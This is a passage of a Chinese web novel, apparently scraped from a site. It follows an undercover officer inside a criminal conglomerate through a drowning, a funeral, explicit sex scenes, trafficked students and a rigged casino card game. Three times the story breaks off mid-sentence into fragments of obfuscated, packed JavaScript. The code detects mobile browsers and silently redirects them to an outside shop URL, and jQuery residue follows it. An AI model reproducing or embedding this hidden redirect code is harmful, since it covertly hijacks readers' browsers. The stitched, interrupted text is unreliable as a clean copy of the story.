柳之杨看见言老大侧颈还有微弱起伏,正要和甘川说,却见他轻轻摇了摇头。 现在救,死了就是柳之杨的锅了。 但柳之杨不能见死不救。 他还要上前,手臂再次被甘川牢牢拉住。 柳之杨顺着甘川的目光看去,发现旁边还有具尸体。 身上全是伤痕和淤青,只穿了一条白裙子——是那个带录音设备上船的女子。 柳之杨看着,胸膛剧烈起伏起来,再看向奄奄一息的言老大,往前的步伐撤了回来。 甘川放开柳之杨,招呼小弟说:“把老大带到舱里。” 接着,环视了一圈集团其他高层们,笑了笑,比了个“嘘”的手势。 其他高层纷纷避开甘川的视线,低下头去。 甘川甩甩手上的水,往下舱走去,柳之杨跟上。 …… 回到客舱,甘川一边骂天骂地骂海水冷骂高层是蠢猪,一边毫不避讳地在柳之杨面前脱了衣服,换上浴袍。 柳之杨几次想说话都没抢到话口,见甘川头发还湿着,递过去一条毛巾,问:“陈颂呢?” 甘川说:“那个才是蠢猪中的蠢猪,下水没游几下就体力不支昏了,小弟们又折回去救他。我之前说他是猴子还是高看……妈的这是什么!” 甘川走到床另一边要开窗,一脚踢到盖着白布的小警察尸体。 柳之杨简短地把事情经过说了一遍,略过了一些事,只说是警局的人干的。 甘川把白布揭开,看见那张紫脸,说:“怎么也不能放我房间啊,太晦气了。一会儿找人搬到陈颂房间里去。” 柳之杨无奈:“你有没有在听我说话。” “听了啊亲爱的。东区穆警长也是个蠢猪,他以为杀了言老大,可以激起我和陈颂内斗……玛德,你别说,老大一死,陈颂肯定坐不住。哎呦这警长倒也不是个蠢猪啊,半个蠢猪吧,亲爱的你审人的时候录音了吧?” 柳之杨顿了半晌,才说:“我进来太急,忘了。” 好半天,甘川都没有说话,表情也没有任何变化,就这样看着柳之杨。 柳之杨有些紧张,正要继续解释,甘川摆了摆手,说:“没事亲爱的,就算有录音暂时也搞不动穆警长。这个人先冻着吧,总有用处。” 正在这时,门响了。 “甘副总,没着凉吧,给您送个毛毯过来。” 是言老大的秘书泰金。 甘川把尸体往里踢了踢,对柳之杨使了个眼色,让他开门。 泰金进来,看见穿着睡袍的甘川和领口微开的柳之杨,露出一副猥琐笑容:“打扰二位好事了。” 甘川接过毯子,倒了杯水给泰金:“老大怎么样了?” 泰金恭敬地接过,说:“吉人自有天相。甘副总做得够多了,全公司都看到眼里。” 听了这话,甘川和站在身边的柳之杨交换了个眼神。 “差点儿忘了正事,”泰金把杯子放下,拿出一份文件,“副总,这是红品矿山的转让书和矿场证,所有字言老大都签好了,您拿好。” 甘川接过,反手递给柳之杨。 柳之杨掏出转让书和矿场证,对甘川点了点头。 甘川拍上泰金的肩:“多谢啊泰秘书,之后还要你多多帮忙。” 泰金笑笑,“是是。那个,甘副总,我想和您商量个事情……” 甘川知道,泰金乖乖把这些东西交出来肯定有图谋,点头让他说。 泰金说:“我和我儿子帮言老大管红品矿山已经很多年了,如果您同意的话,之后我和我儿子也帮您管着,收益咱们三七分,您七,可以吗?” 甘川笑起来,对柳之杨说:“泰秘书倒是好人呐,出钱又出力。” 泰金尴尬地笑笑:“因为之前和言老大也是这么分的……要是您不满意,我可以再降一点。” “不不,不用,”甘川说,“挺好的,就这样吧,麻烦你了泰秘书。” 泰金连连道谢,离开了客舱。 甘川晃悠着,坐回床上。 柳之杨说:“矿场由他经营,流水从他手里过,他起码可以再贪六七成。他和你三七分,最后到你手上一成都不会有。” 甘川笑说:“我当然知道亲爱的,没事,几个钱,他要给他就行。” 柳之杨皱眉,说:“钱一多,人心就会变。” 甘川站起身,拍了下柳之杨的腰侧,问:“你钱也挺多的,你变了吗?” 柳之杨无奈:“这不是一回事。” “也就是说,无论你有多少钱,都不会背叛我对吗亲爱的?” 柳之杨被他的目光灼烧,只能避开眼神,说:“你怎么像个谈恋爱的青年一样?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584355|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 甘川捏住柳之杨的下颌,逼迫他看着自己,低声问:“你不会背叛我,对吗,亲爱的?” 柳之杨只能扯出个笑,说:“是,我不会为了钱背叛你。” 我会为了别的背叛你。 甘川咧开嘴笑起来,轻轻啄了下柳之杨的唇,说:“哎呦这句话听你说出来真爽啊!” 柳之杨紧张的心落下,要推开他,却被人抱得更紧。 甘川笑着,俯在他耳边轻声说:“试试嘛亲爱的,试试是不是真的更深。”这回,不等柳之杨拒绝,甘川按住他的后脑,吻了上去。 甘川的吻技很好,几下把柳之杨亲得喘不过气。两人边亲,边滚到床上。 甘川放开他,把人压在身下,直起身开始脱衣服,眼睛不小心瞟到床下小警察的尸体: “妈的!差点没把老子吓wei!” 柳之杨觉得好笑。 甘川看见:“你一笑,我又ying了。” 柳之杨:…… 甘川揽了下头发,说:“去你房间吧亲爱的。” 甘川是真的忍不了一点,出自己房间就抱着柳之杨亲,二人在浓烈的海风中热吻。柳之杨被他亲得“嗯”了一声,立刻感觉有东西抵着他小腹。 甘川咬着他的耳朵说:“快开门,不然我真要在外面做一些不雅的事情了。” 开门的过程也不顺利,甘川像是有瘾一样抱着柳之杨后颈亲。柳之杨手抖了几下,才把门打开。 房间里,华国女孩端坐在床上,震惊地看着门口两个缠在一起的男人。 柳之杨:……怎么把这事忘了。 甘川张口就是国粹:“哎呦妈的老子今天真的要……” 柳之杨转身捂住他的嘴。 女孩也抬手,捂住了自己的眼睛。 三分钟后,女孩还是坐在床上,柳之杨坐在沙发上,甘川坐在一个没有靠背的椅子上。 “诶这不对吧,我才是大哥,”甘川起身,对女孩说,“你去坐那个凳子。” 女孩看向柳之杨。 柳之杨起身,说:“她腿上有伤,我和你换。” 甘川“啧”了一声,默默转身坐回没有靠背的凳子上,问柳之杨:“她为什么会在这里?” 柳之杨:“你觉得呢。” 甘川知道自己在说废话,换了一副劝告的口气:“之杨,你又不是圣人,干嘛救她?要是老大没死,现在死的就是你们俩了。” 女生又被吓到,害怕地往柳之杨那么靠了靠。 柳之杨说:“她是我同胞。” “你救了她又能怎么办?她护照肯定被烧了,回不去,只能留在穆雅马。” “烧了!!”女孩激动起来,用华国语说,“可,可他们说的是,只要我听话,会把护照还给我的!怎么办,没有护照,我这辈子都回不去了……”一边说,一股无力感涌上心头,她忽然失去了所有活下去的希望,几滴眼泪无助地落下。 柳之杨瞪了甘川一眼。 甘川努努嘴,不说话了。 柳之杨给女孩递上纸,说:“我会帮你找到护照的。” 出了房间,船已经快到岸。 甘川点了一根烟,带起墨镜,直视初升的太阳,说:“亲爱的,你帮那姑娘,到底是为什么?” 柳之杨很快地答道:“她和我是同胞。” 甘川笑了一声,吐出烟,说:“帮一两个可以,多了可不好。容易让别人怀疑,你来穆雅马,是不是就是为了救你的同胞。” 柳之杨压了下眉。 甘川经常说这样没头没尾的话,所以他分不出,甘川是随口一说,还是在点自己。 船身摇晃了一下,终于到岸。 甘川灭了烟,拍了下柳之杨的腰,说:“走吧亲爱的,战争要开始了。” 5. 要想俏,一身孝 寂灭堂,乌云密布。 秋天提前到了,但天气依然闷热。由于穆雅马的树叶不会掉,于是被人强行拔完,只留下张牙舞爪的枝丫,像一个个诡异的怪兽守在灵堂外。 黑色的屋顶上拉了一朵朵白色灵花,白屋棚从两侧一直延伸到中间灵堂。 来祭拜的人全都穿着黑衣,天地间只剩下黑白两种颜色。 一排黑色车队驶入,停在灵堂下,手下上前打开第二张车的车门。 甘川穿得极其低调,进集团来,这是他第一次穿平驳领的西装、打纯黑领带,连头发都用发胶体面地梳在脑后。 “柳之杨呢?”甘川问。 小弟答:“柳理事说他有点儿事,让您先进去。” 甘川往后面车内看了一眼,柳之杨眉头紧皱,正打电话。 他没有过多表示,带着一行人先进了灵堂。 说是先,但有人比他们早到。 陈颂坐在灵堂左边的桌上,埋头吃面。 甘川看着言老板的遗照,接过香火,一边拜一边念叨:“老大,你安息吧,真主安拉菩萨保佑阿门。” 陈颂嗦完最后一口面,擦了擦嘴,把纸丢到甘川脚下,站起身去后堂守灵。 甘川捡起脏纸,揣进包里,对着他背影不满道:“你他妈的能不能有点儿素质,这是公共场合。” 陈颂冷笑:“面挺好吃的,你可以尝尝。” 甘川在僧人的指引下拜祭完,来到后堂。 集团高层们一群一群地聚在一起,好像这不是灵堂而是酒会。 甘川和其中一群人说了会儿话,外面传来骚动,有人喊:“东区执政官来了!” …… 柳之杨在下车前接到一个电话,来电人是警局穆警长。 他只问了柳之杨两个问题:第一,男警察的尸体在哪里?第二,愿不愿意合作? 柳之杨说:“我是集团合法合规的理事,没有义务合作。” 警长笑说:“柳先生,你是警察的资料都传真到我手上了。” 柳之杨说:“男警察的尸体在我手上。对了,警察亲口承认,言老大的死是你们策划的,我有录音。” 电话那头传来持久的沉默。 柳之杨挂了电话,刚下车,就见后面又来了辆车。 白色劳斯莱斯缓缓停下,打开车门,下来了一个五十左右、穿着穆雅马传统服饰的人。 所有人低下头,负手而立。 柳之杨皱了皱眉,是东区执政官——达耳。 不等他反应,身后传来惊喜的声音:“哎呦执政官,您怎么来了!早说啊我派人在外面迎你。” 甘川笑着,走到达耳面前,和他拥抱了一下。 达耳同样笑着,甚至比甘川的笑容还要真挚些,说:“阿甘,好些天没见了。出了那么大的事情,我当然得来看一下。” 甘川大笑,把达耳请进去。陈颂也出来迎接,同样和达耳有说有笑。 柳之杨觉得诡异,他们在葬礼上笑得比婚礼还开心。 达耳先祭拜了言老大,看着三根香被插入香炉,他叹了口气,说:“老朋友,你这么多年也累了,既然躺下了就别想太多,好好睡吧。你的生前身后事,还有我们给你撑着。” 集团其他高官们出来和达耳打招呼,客气至极——这些人在言老大生前,是骂执政官骂得最厉害的一批。 达耳笑着一一回应,等寒暄过后,才和甘川、陈颂坐下,喝了口热茶,问他们道:“所以,是意外还是人为?” 甘川说:“我查了监控,问了当时和老大在一起的歌女。应该是老大自己喝多,不小心失足滑了下去。” 达耳听着,“唉”了一声,“这就是命啊,命啊。” 陈颂思考片刻,说:“但还有几个疑点,我查了上船人员名单,有一个非公司职员混上来了。开船前,就有可疑人员,虽然被抓到,但事情终归不明朗。” 达耳皱起眉,惊讶地说:“是吗?陈副总,你们一定要严肃地查,不然言老板死不瞑目!!” 陈颂看向站在甘川身后的柳之杨,说:“老大落水那么紧急的时候,柳理事倒是不见人影了。老大平时虽然和你交流不多,但你这样,也太伤人心了。” “哎呦,”甘川放下茶水,“陈副总有所不知,理事他胆小,见到有人落水吓坏了,我才让他回房间的。” 陈颂冷笑:“你那么着急解释干嘛?我也没有别的意思。” 甘川也笑,“你他妈的,自己有没有别的意思自己清楚。” “各位,”达耳发话道,“现在言老大走了,集团就要你们撑着了,怎么可以内讧呢?不好,不好。” 他说着不好,实则脸都要笑烂了。 毕竟建工集团内部吵得越厉害,他越能得利。 达耳又喝了口茶水,说:“这次来找大家,其实还有个事情要和你们商量商量。” 甘川和陈颂坐直,达耳说了那么多废话,终于要切入正题了。 “你们也知道,穆雅马是个复杂的国家。可不管怎样,每年都有无数人来这边旅游,有些不好的习俗还是要管一下,不然破坏咱们的旅游业和名声啊!你们说,对吗?” 甘川笑笑,没说话。 陈颂问:“您说的,是哪些习俗?” “黄赌du都应该坚决抵制!这三个中,赌是最好解决的。我打算,从今天开始,在我们东区坚决禁赌。” 陈颂的表情一变,他刚刚得了万豪赌场。 达耳拿起茶,又喝了一口:“凉了,凉了啊。”说完,离席走人。 …… 甘川吃完最后一口面,长叹道:“确实好吃啊,不是,殡仪馆的面做那么好吃干什么?亲爱的,你快尝尝。” 柳之杨眉头紧皱,甘川喊了他好多声才回过神。 甘川看着他笑了一下,“你有心事啊亲爱的?” 柳之杨眨了眨眼,掩住多余感情,说:“没有,我在想白天执政官来的事情。” 甘川又要了一碗面,边吃边说:“有什么好想的,达耳是要把这些事情收回自己手里,自己赚钱,这回有他们斗了。哎呦这面真好吃啊!是为了宽慰生人所以做那么好吃吗……” 柳之杨说:“你要帮陈颂吗?” 甘川筷子一顿,摇头,“我做点正经生意不容易,何必和执政官硬碰硬。” 柳之杨叹了口气,他说得没错。 正要拿起筷子吃面,陈颂一行人从后堂出来了。 陈颂走到低头吃面的甘川身边,俯视他说:“我守灵守了一天了,是不是该换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584356|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了?” 甘川说:“没看见我在吃面吗?晚一分钟进去老大是会诈尸吗?” 陈颂白了一眼,但也没再怼甘川,反而坐到他对面。 柳之杨知道他们有事要说,起身,拍了拍甘川的肩,说:“哥,我去守。” 接着擦了嘴,整理了衣冠,进入后堂。 后堂的一个人都没有,非常隐蔽,穿堂的风让闷热的地方有了一丝凉意。 柳之杨刚好需要一个思想放空的空间,让手下都离开。他走到棺材边,看了看安睡的言老大,长叹,独霸一方的枭雄就这么没了。 柳之杨跪坐在灵位前,点燃炉子,拿过纸钱,慢慢往炉子里撒。 现在万豪是陈颂的,所以时机得找准。最好就是陈颂和达耳起冲突的时候,进去把人救出来。 但要先确定其他三个人在酒店的哪里。 不入虎穴焉得虎子,看来得去那儿赌几场了。 纸钱烧了一堆又一堆,夜色渐浓。 甘川轻轻打开后堂门,看见清瘦的柳之杨跪在竹席上,火光映在他脸上,永远一副忧郁的样子,浑然不知一身黑西服把他的腰线勾勒得多漂亮。 柳之杨从甘川推门时就知道了,他闻到了甘川身上的香水味。 很奇怪,甘川那么浓烈性格的人,用的香水却是极淡的,而且这种香水味,他只在甘川身上闻到过。 甘川从后面抱住了柳之杨,那股香味把俩人牢牢包裹。 柳之杨还是不停地烧着纸钱,却发现身后人越来越不安分,开始在他后颈亲。 柳之杨躲了一下,小声提醒说:“这里是灵堂。” 甘川磨着他的耳朵,“所以呢?亲爱的你不知道,你穿这个衣服太好看了,越素的衣服衬得你越好看。” 柳之杨笑了一下,“那我以后就穿成这样去上班吧。” “不行,”甘川厉声拒绝,“这么好看,只能穿给我看。” 柳之杨:是不是有什么毛病…… 甘川把柳之杨手里的纸钱抽走,撒了一地,又把炉子放到身后。柳之杨要拿,被他顺势推倒在竹席上。 柳之杨这才反应过来,这疯子是真要在这里乱搞。 柳之杨连忙抵住压下来的甘川,加重语气:“这里是灵堂!” 甘川掰开柳之杨的手,说:“有人在外面看着,不会有别人进来的。” 柳之杨:?这是重点吗? 就这一瞬分神,柳之杨被翻了个身,甘川压在他腰上,开始解他的裤带。 柳之杨仰起头,看见面前的棺材和言老板照片上的笑脸,实在是心里发毛。他有些慌乱地侧身,拉住甘川的手,说:“别在这里。” 甘川翻起眼皮看了一眼棺材和遗照:“别怕亲爱的,老头子不会怪我们。” 说着,俯下身吻住柳之杨。 甘川手劲大,牢牢扣住柳之杨的后颈,撬开他总是冰凉的唇,攻城略池,夺走柳之杨所有呼吸。 手也不安分地在柳之杨扣得整齐的衬衫上游走。 半晌,甘川放过柳之杨的唇,侧头,先是咬了一口他的耳垂,而后贴到他颈侧,轻轻亲吻、啃咬。 柳之杨往后仰头时再次看到言老大的遗照,还是接受不了,又去挡甘川的头:“别在这里……求你。” 6. 万豪 甘川动作停住。 看了半晌柳之杨的眼睛,甘川最终放开柳之杨,站起身说:“这里离海澜别墅最近,去那里吧亲爱的。” 柳之杨伸出手,算是默认。 甘川把他拉起来。 两人没让手下跟着,开了一张车离开了。 一路上,甘川边开车,边说着无数污言秽语,包括但不限于: “亲爱的你知道我禁欲很久了吧。” 柳之杨奇怪:“没有超过五天吧?” “那也是很久了,非常久!我tm在船上就想了,结果这事那事地耽搁了。我今天一看到你穿黑色孝服就知道,今晚不管怎么样一定要艹了你。” 柳之杨揉了揉眉心:“你是不是有什么特殊癖好?” “没有啊!”甘川大声说,“我就是觉得你这样什么装饰都没有、只穿了黑西装的样子好看死了。你知道吗?那西装把你pigu和腰身勾德特好看!男人就是这样,喜欢又清纯又性感的。你脱光了在我面前我反倒无所谓。包裹得严实、又露出一点端倪的,才是最好的!” 柳之杨对他这套谬论无语,只当他是憋久了快疯了。 甘川确实疯了,一晚上没让柳之杨安生过,变着法儿地折腾。 柳之杨又爽又累,为报仇,他在甘川宽阔的背上留下许多爪印。 结果被甘川说“像猫儿抓的”。 直到第二天傍晚,柳之杨才醒过来。 别墅靠海,夕阳透过窗户刺入柳之杨眼中,海浪翻滚声在耳边回荡。 柳之杨掀开被子,一旁甘川睡得正沉。 他摸了一下,发现身上已经被清理过了。 这才想起来,昨夜被他折腾半死之际,被抱到浴室。甘川嘴上说帮他清理,结果又折腾了一次。 看着熟睡的甘川,柳之杨真想打他一巴掌。 但只是想想。 他拉开被子,小心翼翼地穿上衣服洗漱完,走到阳台上,点起烟。 甘川别墅选址在东区最好的泰芭尔山顶,位置隐蔽,面朝大海。 一望无际的海被夕阳照得发黄,天与海都变成了一片火海,不住地往金黄地沙滩上扑。几只海燕盘桓在火烧云中,就像在被炙烤似的。 柳之杨吐出一口烟。 算算时间,那个拳击手阿刘应该早回国了,不知道他有没有过上正常日子。 从赌场里逃出来的女孩叫王欣,现在被柳之杨安置在公司里。有他在,公司还没人敢动她。 今晚,柳之杨打算带王欣进赌场找其他三个人,希望他们一切安好。 腰被人抱住。下一秒,耳边传来甘川睡意朦胧又低沉声音,“亲爱的起得比我早呢。” 柳之杨任他抱着,又抽了口烟。 柳之杨只抽卡比龙,烟身很长,通体金黑,骨节分明的手指夹着,风情万种。 甘川看了他半晌,抬手,从柳之杨手中接过烟,也抽了一口。 夕阳渐渐褪去,海天深蓝,风吹着阳台上的二人,或许是太惬意,一时间没有人说话。 甘川朝着柳之杨脸呼出烟,笑嘻嘻地看着他。 柳之杨躲开,这才发现,甘川只穿了一件衬衫,没穿裤子。 “……你是暴露狂吗?!” 甘川毫不在意:“这有什么,我们面对的是大海啊亲爱的!” “万一沙滩上有人呢?” “那恭喜他咯。” 柳之杨:…… 看见他被无语的模样,甘川笑着说:“开玩笑亲爱的,我穿着内裤呢。” “你这样穿不穿内裤没有区别!” “那我脱了?” 柳之杨:………… 甘川大笑,回到卧室,边穿外裤边愉悦地问柳之杨:“亲爱的,今晚有什么安排?” 柳之杨灭了烟,说:“我要去万豪一趟。” “去那里干什么?” “没什么,”柳之杨早想好应对的话,“想着马上要禁了,想去玩玩儿。” “哎呦,”甘川扣好裤子,担忧地说,“赌不是好东西,可别沾啊亲爱的。” 柳之杨说:“只玩儿一把,试试。” 甘川说:“我和你一起去。” 柳之杨早想到甘川会这么说,他故意的。 收拾好后,柳之杨借口上厕所,让甘青先去开车。来到卫生间,他警惕地往下看了一眼,确认甘川在车上,才拨通王欣电话: “现在打车过来万豪,进赌场找到上次坑你的叠码仔,问她其他三个人下落。” 王欣在那头紧张地说:“柳,柳警官……” “别乱叫。” “理,理事,场子里叠码仔很多,她今晚不一定在。我担心,哪怕找到她,她也什么都不会说,毕竟那么多人盯着……” “今晚所有叠码仔都会来,而且不会有人关注你们的。按我说的做,别担心。” 挂了电话,柳之杨眉头紧皱地站了一会儿,忽然听到下面甘川按了按喇叭,大声问道:“亲爱的,需要我给你送纸吗?” 柳之杨有的时候真想给他一脚。 …… 万豪楼顶的办公室里,传来不甚体面的叫声。 陈颂秘书听见里面的声音,红着脸、敲了好几下门都没有应答。 可楼下的情况实在紧急,秘书想了想,觉得现在死比之后死要好些,不管不顾地打开了门。 陈颂正起兴,忽然办公室门被打开,他愤怒至极,抓起桌上烟灰缸就朝人砸去。 秘书结结实实挨了一下,低着头,结巴地说:“陈,陈总,甘川和柳之杨来赌场了。” 金碧辉煌的万豪赌场里人很多,但其中有一桌的人格外多,围满在桌边,聚精会神看着赌桌上的两个男人。 甘川叼着烟,随手甩出骰子。 坐在甘川桌对面的男人抹了把头上冷汗,小心翼翼撒出骰子。 骰子赌盘里转了几圈,缓缓停下。 荷官举起右手:“攻方输。” 甘川毫不在乎地把价值几万的赌注推过去,对对面男人扬了扬下巴:“再来一轮?” 男人连连摇头,起身鞠躬:“谢谢,谢谢副董事长。” 对赌的位置又空了。甘川环视周边一圈人,可所有人都低下头,没人敢坐到对面。 无他,和甘川玩儿,怎么都是找罪受。 甘川耸耸肩,看向站在身后的柳之杨,“你看,我就说很无聊吧。我们走吧之杨。” “甘副总来怎么不提前说一声?”陈颂带着人,走到甘川的赌桌前,扫一眼——他赌得很一般。 见他轻视的神色,甘川火有点儿冒,又瞟见他脖颈上吻痕,说:“哎呦陈副总,言老大刚走,要禁欲啊!” 陈颂眯起眼。 柳之杨的衣领扣到最上面看不出来,但他甘川穿着V领低胸装,脖子锁骨胸口……哪里都是才爽过的痕迹。 这种人,到底怎么好意思转过来让自己禁欲的。 陈颂冷哼一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584357|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,转开话题:“我看你玩儿得不开心,因为你没找到真正好玩儿的方法。” 甘川说:“这种东西,怎么都不好玩儿。” 陈颂说:“你和这个赌场的风水犯冲,我其实早想说了,你看起来需要找个大师驱驱魔。” “哎呦我们陈副总嘴真臭,平时都吃些什么啊?”甘川站起身,笑着拍拍他的肩,“风水?我不信那种东西。之杨,你替我试试吧。” 柳之杨抬眼,点了点头。 陈颂冷笑着扫开甘川的手,坐到柳之杨对面。又找了其他两个赌徒,凑成一桌。 集团两大势力在赌桌前见分晓,赌徒们纷纷聚集过来,桌边都快站不下。精锐安保也被抽调过来维护秩序。 甘川命人搬了个椅子,大马金刀地坐到柳之杨身边。 荷官打开一副全新的扑克牌,请四人洗牌。 为保公正,陈颂先洗,然后给其他两个赌徒,最后传到柳之杨手中。 柳之杨修长的手指拂过牌面,切了两次牌,又递给甘川。 甘川仔细看了牌,确认没问题,才交还到荷官手里。 美女荷官拿过牌,笑说:“四位老板没问题,那我开始发牌。” 炸金花规则很简单,就是比大小,从小到大分别是:单张,对子,顺子,金花,顺金,豹子?。下家根据自己手中的牌,来思考跟还是不跟。 按照顺位,第一是柳之杨,他翻开三张牌,同色但非顺子,是个金花。 周围人惊叹,第一次能摸到个金花,是非常好的运气了。 果然,下两家看到这牌,都摇头表示不跟。 轮到陈颂,他翻开三张牌,俨然是三张黑桃678,是同花顺。 周围人“哇”了一声,称赞陈颂好手气。 陈颂耸耸肩,坦然接受了柳之杨推过去的几万筹码。 之后玩了五六轮,轮轮都是陈颂赢。 这太诡异了,甘川“啧”了一声,问陈颂:“你他妈的不会在出老千吧!” 陈颂说:“每一轮大家都洗牌,我是第一个洗的,如果有问题你们早摸出来了。而且牌也是荷官发的,我怎么出老千。” “要不这样,”牌桌上一个中年男人提议,“我们洗好后自己摸牌。” 美女荷官的看向陈颂,见他点头,把牌放到桌上,示意他们按照顺位摸牌。 这回的顺位是陈颂先,其他两个人第二第三,柳之杨最后摸。 前两次,柳之杨已经摸到了两张一样数字的了,只要再摸到一张一样的,他就有个豹子了。 所谓“豹子”,就是三张相同的牌,也是炸金花里最大的牌。 陈颂摸完最后一张牌,胸有成竹地勾了勾唇。 其他两人也摸完,看着手里的牌,若有所思。 柳之杨伸手去摸牌,顿了顿,才拿着一张牌收手。 荷官问:“二家是否跟牌?” 坐二家的中年男人算了算场上的牌,摇头。 三家的男人也摆手:“不跟。” 荷官看向柳之杨:“四家是否跟牌?” “跟。”柳之杨说。 陈颂非常意外地挑了挑眉,说:“我们柳理事是个败家子啊。”而后笑着翻开牌,是三个K。 众人惊叹,“是豹子啊最大的豹子!” “而且是K!” “三个K!陈老板真是好手气啊!” 陈颂对柳之杨做了个“请”的手势。 柳之杨翻开牌。 7. 赌 柳之杨翻开牌,赫然是三个A。 炸金花里,A是最大的数字。 牌桌上瞬间鸦雀无声。 陈颂微微瞪大双眼,坐直身体,拿过柳之杨的三张A仔细察看,确实是刚刚的牌,没有换过。 柳之杨看着他的表情,意有所指地说:“赌桌有输有赢很正常,陈副总不用那么惊讶。” 就这一轮,柳之杨把刚才输出去的筹码全赢回来了。 甘川激动地晃着柳之杨肩膀:“亲爱的,你也太厉害了!” 看着他们笑作一团,陈颂冷哼,挥挥手让秘书弯腰,在他耳边说:“把赌场所有叠码仔全部叫过来,对,就现在,全部!” 柳之杨一边对甘川和祝贺他们的人微微笑着,一边竖起耳朵听着陈颂动静。 十分钟后,整个象林赌场的叠码仔都过来了,十几个,有男有女,还有的不男不女。 在穆雅马人们认为,叠码仔是被赌神眷顾的人,他们的手气都特别好,只要他们摸牌,基本都能赢。 所以能做叠码仔的人不多,也十分赚钱。 陈颂很大度地给每个庄家都分了三个叠码仔。 这些叠码仔特别会说话,三言两语就拨动了原本已经不想继续的人的心弦,那两个中年男人又坐了下来,答应让叠码仔陪同再玩儿几局。 柳之杨拒绝了叠码仔,还是要自己摸牌。 陈颂没有强留,让剩下的叠码仔站在一旁,又开始了新的一轮赌局。 叠码仔阿悦站在最边缘,看着大佬们手起刀落地玩儿,翻了个白眼,用脚背蹭了蹭大腿。 她原本在外面揽客,刚骗到一对来旅游的小情侣,准备进赌场玩儿两把,就被“大人物”一个电话喊到这里。 到了又什么都不要他们做,就站在这里,不有毛病吗? 阿悦心里正盘算着怎么溜走,眼前的光忽然被人影遮住。 她抬头,是个带着帽子的女孩——她一眼认出,这是那四个学生之一。 王欣逼近阿悦,用蹩脚的穆雅马语低声质问:“我同学呢?!” 阿悦装傻:“你在说什么,我听不懂。” “我问你我同学呢?!当时我们四个人,沈佳瑞、高峰、崔梓涵,他们三个人呢!!” 所有的安保力量都集中在两边大佬身上,根本没人注意到角落里叠码仔的异常。 阿悦往周围看了一圈,决定先安抚住她,说:“你先去外面等我,这边结束我去找你然后告诉你。” 王欣差一点就信了,可她余光看见坐在灯光下、聚精会神的柳之杨,意识到这样的机会千载难逢。 “不行,有什么不能现在说的,你现在告诉我!” 阿悦急得跳脚,这女孩不是被卖出去了吗?怎么又回来了?还边聪明了点儿! 王欣又说:“如果你不说,我现在就大喊,说你出老千。” 这可踩到阿悦命门了,现在整个赌场都聚焦在两位大佬身上,要是因为这点事搅了局,王欣和自己都不得好死。 于是急匆匆地说:“那个女孩还留在赌场,笨手笨脚的什么都不会,我也不知道现在怎么样了。两个男孩一个被送去红品矿山了,另一个有钱的,应该是送到朗日那儿了。我知道的就这些,你快走吧!” 王欣念了好几遍,记下名称,指着阿悦说:“你要是告诉我假的,我一定回来,和你不死不休!” 阿悦说:“我干嘛告诉你假的!钱我也收了,你要怎么样是你自己的事情!” 王欣狠狠盯了她几秒,压下帽沿,转身离开。 那边赌桌上,柳之杨又赢下一局。 陈颂扇了给自己摸牌的叠码仔一巴掌,又递给站在柳之杨身后的小弟一个眼神。 小弟得令,指着柳之杨大声说:“我看见他出老千了!” 一石激起千层浪,所有人都看向柳之杨。 陈颂缓缓站起身,对柳之杨和甘川说:“我才说前面怎么赢的,这不对吧,甘副总,柳理事?” 甘川好像听见什么天大的笑话,说:“真是玩得一手贼喊捉贼,自己玩儿不过,就说别人出老千。” 陈颂说:“我在万豪安了高速摄影机,柳之杨,你敢不敢慢放摸牌瞬间?” 柳之杨的唇有些颤抖,他没想到落后的穆雅马居然有这种科技。还没等想出对策,桌下的手忽然被甘川握住了。 甘川对陈颂说:“放啊,今天就让所有人看看,你他妈是怎么乱咬人的!” 说完,对柳之杨眨了下左眼,而后笑起来。 这是甘川心里有底的表现,虽然不知道他哪里来的底,但也只好无奈笑笑,接受了这个提议。 赌厅的灯全熄灭,一道巨大的幕布放下,投影仪把三个监控的内容都投到了幕布上。 叠码仔、赌徒、工作人员全都看了过去。 巨大的屏幕上,视频中人的眼睫毛都看得格外清晰。 到了柳之杨摸牌的时,视频速度放慢十倍,一只苍蝇从监控前飞过,振翅的动作也被捕捉得无处遁形。 柳之杨看着屏幕,手心出汗,但被甘川牢牢握着,挣脱不出。 监控中,柳之杨的手摸到第一张牌,然后抽回。 没有多余动作。 陈颂脸色一下阴沉下来。 之后两次摸牌也是同样。 无论放大多少倍、放慢多少倍,柳之杨的动作都是合规的。 甘川大声说:“看啊陈副总,你污蔑人污蔑够了吗?虽然你是老板,但也不能这么对顾客啊!顾客才是上帝,你对上帝就是这样吗?胡乱污蔑,以后谁还敢来你赌场?!” 陈颂面子有点挂不住,沉默地让手下收回屏幕和投影仪。 甘川扶住柳之杨的肩,故意说:“亲爱的,走吧,这个陈副总是个输不起的。” 柳之杨看了时间,起身拿起外套给甘川披上,跟着他离开了。 